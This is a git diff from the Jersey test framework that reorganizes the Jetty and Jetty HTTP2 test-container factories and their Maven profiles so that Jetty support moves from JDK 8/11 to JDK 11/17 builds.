@@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty.http2; + +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; + +/** + * Factory for testing {@link JettyHttp2ContainerFactory}. + * + */ +public final class JettyHttp2TestContainerFactory implements TestContainerFactory { + + private static class JettyHttp2TestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName()); + + private URI baseUri; + private final Server server; + + private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) { + final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + if (!"/".equals(base.getRawPath())) { + throw new TestContainerException(String.format( + "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.", + base.getRawPath())); + } + + this.baseUri = base; + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false); + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (server.isStarted()) { + LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started."); + } else { + LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer..."); + try { + server.start(); + + if (baseUri.getPort() == 0) { + int port = 0; + for (final Connector connector : server.getConnectors()) { + if (connector instanceof ServerConnector) { + port = ((ServerConnector) connector).getLocalPort(); + break; + } + } + + baseUri = UriBuilder.fromUri(baseUri).port(port).build(); + + LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri); + } + } catch (Exception e) { + throw new TestContainerException(e); + } + } + } + + @Override + public void stop() { + if (server.isStarted()) { + LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer..."); + try { + this.server.stop(); + } catch (Exception ex) { + LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex); + } + } else { + LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped."); + } + } + } + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + return new JettyHttp2TestContainer(baseUri, context); + } +}
diff --git a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java deleted file mode 100644 index 44fa02a..0000000 --- a/test-framework/providers/jetty-http2/src/main/java8/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java +++ /dev/null
@@ -1,36 +0,0 @@ -/* - * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.test.jetty.http2; - -import jakarta.ws.rs.ProcessingException; -import org.glassfish.jersey.jetty.http2.LocalizationMessages; -import org.glassfish.jersey.test.DeploymentContext; -import org.glassfish.jersey.test.spi.TestContainer; -import org.glassfish.jersey.test.spi.TestContainerFactory; - -import java.net.URI; -/** - * Factory for testing {@link JettyHttp2ContainerFactory}. - * - */ -public final class JettyHttp2TestContainerFactory implements TestContainerFactory { - - @Override - public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } -}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory index 42b7847..63ba6bf 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory +++ b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -1 +1 @@ -org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory \ No newline at end of file +org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties similarity index 98% rename from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties rename to test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties index 2886c72..f10b03c 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java index 1964156..541f193 100644 --- a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java +++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java
@@ -23,7 +23,6 @@ import org.glassfish.jersey.test.DeploymentContext; import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; -import org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory; import org.glassfish.jersey.test.spi.TestContainerFactory; import org.junit.jupiter.api.Test;
diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml index 7e5e861..f7c6353 100644 --- a/test-framework/providers/jetty/pom.xml +++ b/test-framework/providers/jetty/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.test-framework.providers</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -42,58 +42,29 @@ <artifactId>jersey-container-jetty-http</artifactId> <version>${project.version}</version> </dependency> + <dependency> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + <version>${slf4j.version}</version> + </dependency> </dependencies> <properties> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> </properties> <profiles> <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> + <properties> + <jetty.version>${jetty11.version}</jetty.version> + </properties> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -114,17 +85,54 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>Jetty17</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists> + <exists>target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -145,16 +153,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -166,14 +174,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration>
diff --git a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java index 6c044e5..16be885 100644 --- a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java +++ b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,148 +16,26 @@ package org.glassfish.jersey.test.jetty; -import java.net.URI; import java.util.Map; -import java.util.logging.Level; -import java.util.logging.Logger; - -import jakarta.ws.rs.core.UriBuilder; - -import org.eclipse.jetty.server.HttpConnectionFactory; -import org.glassfish.jersey.client.ClientConfig; -import org.glassfish.jersey.jetty.JettyHttpContainerFactory; +import jakarta.ws.rs.ProcessingException; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; import org.glassfish.jersey.test.DeploymentContext; import org.glassfish.jersey.test.spi.TestContainer; -import org.glassfish.jersey.test.spi.TestContainerException; import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.glassfish.jersey.test.spi.TestHelper; -import org.eclipse.jetty.server.Connector; -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.ServerConnector; +import java.net.URI; -/** - * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}. - * - * @author Arul Dhesiaseelan (aruld@acm.org) - * @author Marek Potociar - */ public class JettyTestContainerFactory implements TestContainerFactory { - private final Map<String, Object> propertiesMap; - - private static class JettyTestContainer implements TestContainer { - - private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName()); - - private final Map<String, Object> propertiesMap; - - private URI baseUri; - private final Server server; - private JettyTestContainer(final URI baseUri, final DeploymentContext context, final Map<String, Object> propertiesMap) { - final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); - - this.propertiesMap = propertiesMap; - - if (!"/".equals(base.getRawPath())) { - throw new TestContainerException(String.format( - "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.", - base.getRawPath())); - } - - this.baseUri = base; - - if (LOGGER.isLoggable(Level.INFO)) { - LOGGER.info("Creating JettyTestContainer configured at the base URI " - + TestHelper.zeroPortToAvailablePort(baseUri)); - } - - this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false); - } - - @Override - public void configureContainer() { - - if (propertiesMap == null - || !propertiesMap.containsKey(JettyTestContainerProperties.HEADER_SIZE)) { - return; - } - - for (Connector c : server.getConnectors()) { - c.getConnectionFactory(HttpConnectionFactory.class) - .getHttpConfiguration().setRequestHeaderSize( - (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE)); - c.getConnectionFactory(HttpConnectionFactory.class) - .getHttpConfiguration().setResponseHeaderSize( - (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE)); - c.getConnectionFactory(HttpConnectionFactory.class); - } - - } - - @Override - public ClientConfig getClientConfig() { - return null; - } - - @Override - public URI getBaseUri() { - return baseUri; - } - - @Override - public void start() { - if (server.isStarted()) { - LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started."); - } else { - LOGGER.log(Level.FINE, "Starting JettyTestContainer..."); - try { - server.start(); - - if (baseUri.getPort() == 0) { - int port = 0; - for (final Connector connector : server.getConnectors()) { - if (connector instanceof ServerConnector) { - port = ((ServerConnector) connector).getLocalPort(); - break; - } - } - - baseUri = UriBuilder.fromUri(baseUri).port(port).build(); - - LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri); - } - } catch (Exception e) { - throw new TestContainerException(e); - } - } - } - - @Override - public void stop() { - if (server.isStarted()) { - LOGGER.log(Level.FINE, "Stopping JettyTestContainer..."); - try { - this.server.stop(); - } catch (Exception ex) { - LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex); - } - } else { - LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped."); - } - } - } - - @Override - public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { - return new JettyTestContainer(baseUri, context, propertiesMap); - } - public JettyTestContainerFactory() { - this(null); } public JettyTestContainerFactory(Map<String, Object> properties) { - this.propertiesMap = properties; + } + + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } }
diff --git a/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java new file mode 100644 index 0000000..1af49d5 --- /dev/null +++ b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
@@ -0,0 +1,163 @@ +/* + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty; + +import java.net.URI; +import java.util.Map; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.UriBuilder; + +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.JettyHttpContainerFactory; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; + +/** + * Factory for testing {@link org.glassfish.jersey.jetty.JettyHttpContainer}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public class JettyTestContainerFactory implements TestContainerFactory { + + private final Map<String, Object> propertiesMap; + + private static class JettyTestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(JettyTestContainer.class.getName()); + + private final Map<String, Object> propertiesMap; + + private URI baseUri; + private final Server server; + private JettyTestContainer(final URI baseUri, final DeploymentContext context, final Map<String, Object> propertiesMap) { + final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + this.propertiesMap = propertiesMap; + + if (!"/".equals(base.getRawPath())) { + throw new TestContainerException(String.format( + "Cannot deploy on %s. Jetty HTTP container only supports deployment on root path.", + base.getRawPath())); + } + + this.baseUri = base; + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating JettyTestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + this.server = JettyHttpContainerFactory.createServer(this.baseUri, context.getResourceConfig(), false); + } + + @Override + public void configureContainer() { + + if (propertiesMap == null + || !propertiesMap.containsKey(JettyTestContainerProperties.HEADER_SIZE)) { + return; + } + + for (Connector c : server.getConnectors()) { + c.getConnectionFactory(HttpConnectionFactory.class) + .getHttpConfiguration().setRequestHeaderSize( + (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE)); + c.getConnectionFactory(HttpConnectionFactory.class) + .getHttpConfiguration().setResponseHeaderSize( + (Integer) propertiesMap.get(JettyTestContainerProperties.HEADER_SIZE)); + c.getConnectionFactory(HttpConnectionFactory.class); + } + + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (server.isStarted()) { + LOGGER.log(Level.WARNING, "Ignoring start request - JettyTestContainer is already started."); + } else { + LOGGER.log(Level.FINE, "Starting JettyTestContainer..."); + try { + server.start(); + + if (baseUri.getPort() == 0) { + int port = 0; + for (final Connector connector : server.getConnectors()) { + if (connector instanceof ServerConnector) { + port = ((ServerConnector) connector).getLocalPort(); + break; + } + } + + baseUri = UriBuilder.fromUri(baseUri).port(port).build(); + + LOGGER.log(Level.INFO, "Started JettyTestContainer at the base URI " + baseUri); + } + } catch (Exception e) { + throw new TestContainerException(e); + } + } + } + + @Override + public void stop() { + if (server.isStarted()) { + LOGGER.log(Level.FINE, "Stopping JettyTestContainer..."); + try { + this.server.stop(); + } catch (Exception ex) { + LOGGER.log(Level.WARNING, "Error Stopping JettyTestContainer...", ex); + } + } else { + LOGGER.log(Level.WARNING, "Ignoring stop request - JettyTestContainer is already stopped."); + } + } + } + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + return new JettyTestContainer(baseUri, context, propertiesMap); + } + + public JettyTestContainerFactory() { + this(null); + } + + public JettyTestContainerFactory(Map<String, Object> properties) { + this.propertiesMap = properties; + } +} \ No newline at end of file
diff --git a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java deleted file mode 100644 index cd2e332..0000000 --- a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java +++ /dev/null
@@ -1,38 +0,0 @@ -/* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.test.jetty; - -import jakarta.ws.rs.ProcessingException; -import org.glassfish.jersey.jetty.internal.LocalizationMessages; -import org.glassfish.jersey.test.DeploymentContext; -import org.glassfish.jersey.test.spi.TestContainer; -import org.glassfish.jersey.test.spi.TestContainerFactory; - -import java.net.URI; - -/** - * Jetty test factory stub for JDK 1.8 only - * - * since Jetty 11+ does not support JDKs below 11 - */ -public class JettyTestContainerFactory implements TestContainerFactory { - - @Override - public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } -}
diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties index c362bf0..6504f0e 100644 --- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties +++ b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@ # -# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml new file mode 100644 index 0000000..ed1cf22 --- /dev/null +++ b/test-framework/providers/jetty11-http2/pom.xml
@@ -0,0 +1,46 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <parent> + <artifactId>project</artifactId> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + <modelVersion>4.0.0</modelVersion> + + <artifactId>jersey-test-framework-provider-jetty-http2</artifactId> + <packaging>jar</packaging> + <name>jersey-test-framework-provider-jetty-http2</name> + + <description>Jersey Test Framework - Jetty HTTP2 container</description> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.test-framework</groupId> + <artifactId>jersey-test-framework-core</artifactId> + <version>${project.version}</version> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty-http2</artifactId> + <version>${project.version}</version> + </dependency> + </dependencies> +</project> \ No newline at end of file
diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java new file mode 100644 index 0000000..867db08 --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
@@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; + +/** + * Factory for testing {@link Jetty11Http2ContainerFactory}. + * + */ +public final class Jetty11Http2TestContainerFactory implements TestContainerFactory { + + private static class JettyHttp2TestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName()); + + private URI baseUri; + private final Server server; + + private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) { + final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + if (!"/".equals(base.getRawPath())) { + throw new TestContainerException(String.format( + "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.", + base.getRawPath())); + } + + this.baseUri = base; + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + this.server = Jetty11Http2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false); + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (server.isStarted()) { + LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started."); + } else { + LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer..."); + try { + server.start(); + + if (baseUri.getPort() == 0) { + int port = 0; + for (final Connector connector : server.getConnectors()) { + if (connector instanceof ServerConnector) { + port = ((ServerConnector) connector).getLocalPort(); + break; + } + } + + baseUri = UriBuilder.fromUri(baseUri).port(port).build(); + + LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri); + } + } catch (Exception e) { + throw new TestContainerException(e); + } + } + } + + @Override + public void stop() { + if (server.isStarted()) { + LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer..."); + try { + this.server.stop(); + } catch (Exception ex) { + LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex); + } + } else { + LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped."); + } + } + } + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + return new JettyHttp2TestContainer(baseUri, context); + } +}
